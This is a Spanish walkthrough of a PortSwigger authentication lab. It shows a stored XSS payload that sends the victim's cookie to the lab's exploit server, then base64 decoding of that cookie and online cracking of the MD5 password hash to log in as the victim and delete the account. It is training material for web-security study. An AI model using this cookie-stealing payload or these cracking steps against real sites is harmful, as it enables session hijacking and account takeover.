Offline password cracking
Laboratorio de Portswigger sobre Authentication Vulnerabilities
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio almacena el hash de la contraseña del usuario en una cookie. Además, contiene una vulnerabilidad de XSS en la funcionalidad de comentarios. Para resolver el laboratorio, debemos obtener la cookie stay-logged-in de Carlos mediante XSS, crackear su hash de contraseña y luego iniciar sesión como carlos. Finalmente, debemos eliminar su cuenta desde la página Mi cuenta. Podemos usar nuestras credenciales wiener:peter para iniciar sesión, el nombre de usuario de la víctima es carlos y podemos usar el diccionario Candidate passwords https://portswigger.net/web-security/authentication/auth-lab-passwords para crackear la contraseña
Guía de authentication vulnerabilities
Antes de completar este laboratorio es recomendable leerse esta guía de authentication vulnerabilities https://justice-reaper.github.io/posts/Authentication-Vulnerabilities-Guide/
Resolución
Al acceder a la web nos sale esto
Pulsamos sobre My account, nos logueamos usando las credenciales wiener:peter y marcamos la casilla de Stay logged in
Pulsamos en View post y vemos que hay una sección de comentarios
Vemos que hemos podido inyectar código HTML
Si vemos el código fuente nos damos cuenta que el código insertado en la sección de comentarios no se está HTML encodeando
Nos dirigimos al Exploit server y copiamos la url https://exploit-0a6800e703d4999e8022985501aa002c.exploit-server.net/exploit, posteriormente vamos a publicar un comentario para explotar un stored XSS y así obtener la cookie del usuario víctima
1
<script>document.location='https://exploit-0a6800e703d4999e8022985501aa002c.exploit-server.net/exploit/'+document.cookie</script>
Una vez publicado nos dirigimos al Exploit server y abrimos el apartado de logs y vemos este log
Si decodeamos este parámetro de la cookie Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz obtener el nombre de usuario y la contraseña del usuario hasheada
1
2
# echo 'Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz' | base64 -d
carlos:26323c16d5f4dabff3bb136f2460a943
Además de crackear la contraseña con john o hashcat podemos usar rainbow tables para obtener la contraseña, existen varias web que podemos usar como https://crackstation.net/
También podríamos pegar el hash en el navegador y obtener el contenido del hash de esta forma
Una vez tenemos el usuario y la contraseña ya podemos acceder iniciar sesión con las credenciales carlos:onceuponatime y borrar al usuario carlos












